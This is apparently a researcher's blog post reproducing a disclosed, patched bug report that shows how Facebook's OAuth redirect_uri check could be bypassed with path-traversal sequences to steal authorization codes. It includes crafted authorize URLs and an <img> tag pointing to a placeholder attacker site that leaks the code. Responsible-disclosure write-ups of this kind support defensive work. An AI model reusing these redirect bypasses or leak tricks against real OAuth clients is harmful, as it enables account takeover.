Skip to main content

OAuth 2 - How I have hacked Facebook again (..and would have stolen a valid access token)

Well well well, hacking time again :) No much time for big explanation but few weeks ago I was using a little variant of Lassie come home to potentially steal a valid Facebook's access token. In a nutshell reading a blog post of how the great Egor Homakov did hack Github  (see Bug 1. Bypass of redirect_uri validation with /../ ) I though how about Facebook :) ?.

 Well here is what I found, I have copied a part of my report to Facebook security :

The redirect_uri in the https://graph.facebook.com/oauth/authorize is not validated correctly. I can bypass the redirect_uri validation with /.\.\../. This might result on stealing the authorization code of a Facebook registered OAuth Client. As an example I would use Parse.com (that is owned by Facebook). In https://parse.com/account there is the chance to link an account with Facebook.
Now the correct request is:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

but changing the request to:

https://www.facebook.com/dialog/oauth?response_type=code&client_id=506576959379594&redirect_uri=https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../asanso&state=420c2f177072bc328309aab640fa0e9141b0f7de2c1f7d81&scope=email

(please note the redirect_uri changed to 
https%3A%2F%2Fparse.com%2Fauth%2Ffacebook%2Fcallback/.\.\../.\.\../asanso)

will end up to be redirected to

https://parse.com/auth/asanso?code=CODE#_=_

The redirect_uri should instead not being accepted.
In order to see how this can be exploited in general let's assume that https://gist.github.com/ would also be a Facebook OAuth client with a registered redirect_uri of https://gist.github.com/auth/facebook/callback

I would then change the request from

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback&response_type=code

to

https://graph.facebook.com/oauth/authorize?client_id=213814055461514&redirect_uri=https%3A%2F%2Fgist.github.com%2Fauth%2Ffacebook%2Fcallback%2F.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8&response_type=code

(please note the redirect_uri=https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8)

Now gist offers some limited html capability but i can use a cross domain resource, like <img>. In the img I can place <img src="http://attackersite.com/"> or <img src="///attackersite.com">

When the user loads this URL, Github 302-redirects him automatically.

Location: https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8?code=CODE

But the user agent loads https://gist.github.com/asanso/a2f05bb7e38ba6af88f8?code=CODE

As soon as we get victim's CODE we can hit https://gist.github.com/auth/facebook/callback?code=CODE and yes :), we are logged into the victim's account and we have access to private gists.

I used an hypothesis of gist being an OAuth client but this would work with any OAuth client that will have the same situation than gist

The answer from Facebook was pretty quick (same for the fix):

Hi,

We have looked into this issue and believe that the vulnerability has been patched. Please re-test the issue and follow up with us if you believe that the patch does not fully resolve the issue.

Security
Facebook

PS: Nice find! :)
 And yep I also got a bounty :)
Labels:

Comments

Unknown said…
why is browser changing
"https://gist.github.com/auth/facebook/callback/.\.\../.\.\../.\.\../asanso/a2f05bb7e38ba6af88f8"

to

https://gist.github.com/asanso/a2f05bb7e38ba6af88f8
21 April 2014 at 00:41
ll said…
@unkown is this a question :) ?
22 April 2014 at 13:53
Post a Comment

Popular posts from this blog

OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701)

Usual Mandatory Disclaimer: IANAC (I am not a cryptographer) so I might likely end up writing a bunch of mistakes in this blog post... tl;dr The OpenSSL 1.0.2 releases suffer from a Key Recovery Attack on DH small subgroups . This issue got assigned CVE-2016-0701 with a severity of High and OpenSSL 1.0.2 users should upgrade to 1.0.2f. If an application is using DH configured with parameters based on primes that are not "safe" or not Lim-Lee (as the one in RFC 5114 ) and either Static DH ciphersuites are used or DHE ciphersuites with the default OpenSSL configuration (in particular SSL_OP_SINGLE_DH_USE is not set) then is vulnerable to this attack.  It is believed that many popular applications (e.g. Apache mod_ssl) do set the  SSL_OP_SINGLE_DH_USE option and would therefore not be at risk (for DHE ciphersuites), they still might be for Static DH ciphersuites. Introduction So if you are still here it means you wanna know more. And here is the thing. In my last bl
23 comments
Read more

Critical vulnerability in JSON Web Encryption (JWE) - RFC 7516

tl;dr if you are using go-jose , node-jose , jose2go , Nimbus JOSE+JWT or jose4j with ECDH-ES please update to the latest version. RFC 7516 aka JSON Web Encryption (JWE) hence many software libraries implementing this specification used to suffer from a classic Invalid Curve Attack . This would allow an attacker to completely recover the secret key of a party using JWE with Key Agreement with Elliptic Curve Diffie-Hellman Ephemeral Static (ECDH-ES) , where the sender could extract receiver’s private key. Premise In this blog post I assume you are already knowledgeable about elliptic curves and their use in cryptography. If not Nick Sullivan 's A (Relatively Easy To Understand) Primer on Elliptic Curve Cryptography or Andrea Corbellini's series Elliptic Curve Cryptography: finite fields and discrete logarithms are great starting points. Then if you further want to climb the elliptic learning curve including the related attacks you might also want to visit https://s
2 comments
Read more

The Curious Case of WebCrypto Diffie-Hellman on Firefox - Small Subgroups Key Recovery Attack on DH

tl;dr Mozilla Firefox prior to version 72 suffers from Small Subgroups Key Recovery Attack on DH in the WebCrypto 's API. The Firefox's team fixed the issue r emoving completely support for DH over finite fields (that is not in the WebCrypto standard). If you find this interesting read further below. Premise In this blog post I assume you are already knowledgeable about Diffie-Hellman over finite fields and related attacks. If not I recommend to read any cryptography book that covers public key cryptography. Here is a really cool simple explanation by David Wong : I found a cooler way to explain Diffie-Hellman :D pic.twitter.com/DlPvGwZbto — David Wong (@cryptodavidw) January 4, 2020 If you want more details about Small Subgroups Key Recovery Attack on DH I covered some background in one of my previous post ( OpenSSL Key Recovery Attack on DH small subgroups (CVE-2016-0701) ). There is also an academic pape r where we examine the issue with some more rigors.
2 comments
Read more